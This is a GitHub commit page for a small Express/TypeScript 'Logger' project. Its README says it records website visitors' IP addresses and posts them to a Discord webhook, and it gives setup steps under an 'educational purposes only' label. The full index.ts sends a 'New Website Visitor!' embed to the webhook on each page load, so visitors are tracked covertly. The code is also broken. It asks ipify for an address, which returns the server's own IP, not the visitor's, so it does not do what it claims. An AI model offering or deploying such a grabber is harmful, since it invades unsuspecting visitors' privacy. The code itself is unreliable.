Skip to content
This repository has been archived by the owner on Aug 7, 2022. It is now read-only.

Commit

Permalink
...
Browse files Browse the repository at this point in the history
  • Loading branch information
vKxni committed Apr 3, 2022
0 parents commit 950905b
Show file tree
Hide file tree
Showing 7 changed files with 4,155 additions and 0 deletions.
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
.env
node_modules
build
31 changes: 31 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
# Logger :: Educational purposes only
Simple way to log visitors IP address into your Discord Sever (Webhooks)

---

> ## ⚠️ Warning
Do not abuse this on other people, feel free to test it out for personal testing. This is just an example to show how easy it is to grab informations of an user.

---

> ### 🙇🏽‍♂️ Setup
```
$ git clone https://github.com/vKxni/logger
$ cd logger
$ npm i
```
- [How to create a Discord Webhook](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks)
- Rename `example.env` to `.env` and fill out your webhook token.

---

## Up && Running
```
$ npm run dev
```
This will build and start the server automatically.

After that, navigate to [localhost:8000](http://localhost:8000/).



2 changes: 2 additions & 0 deletions example.env
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
WEBHOOK_TOKEN=
PORT=8000
32 changes: 32 additions & 0 deletions index.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
import express, { Express, Request, Response } from 'express';
const app: Express = express();
import fetch from "cross-fetch";
import { MessageEmbed, WebhookClient } from "discord.js";

import "dotenv/config";

const webhook = new WebhookClient({
url: process.env.WEBHOOK_TOKEN as string,
});

const port = 8000;

app.listen(port, () => console.log("Website online at " + port));

app.get('/', (req: Request, res: Response) => {
res.send("Hi");

async function sendwebhook(ip: string, time: string) {
const data = await fetch("https://api.ipify.org/?format=txt").then(
(results) => results.text()
);

let embed = new MessageEmbed()
.setTitle("New Website Visitor!")
.setDescription(`**IP:** \n ${data} \n\n **Time:** \n ${Date()}`);
webhook.send({
embeds: [embed],
});
}
sendwebhook("", "");
});
Loading

0 comments on commit 950905b

Please sign in to comment.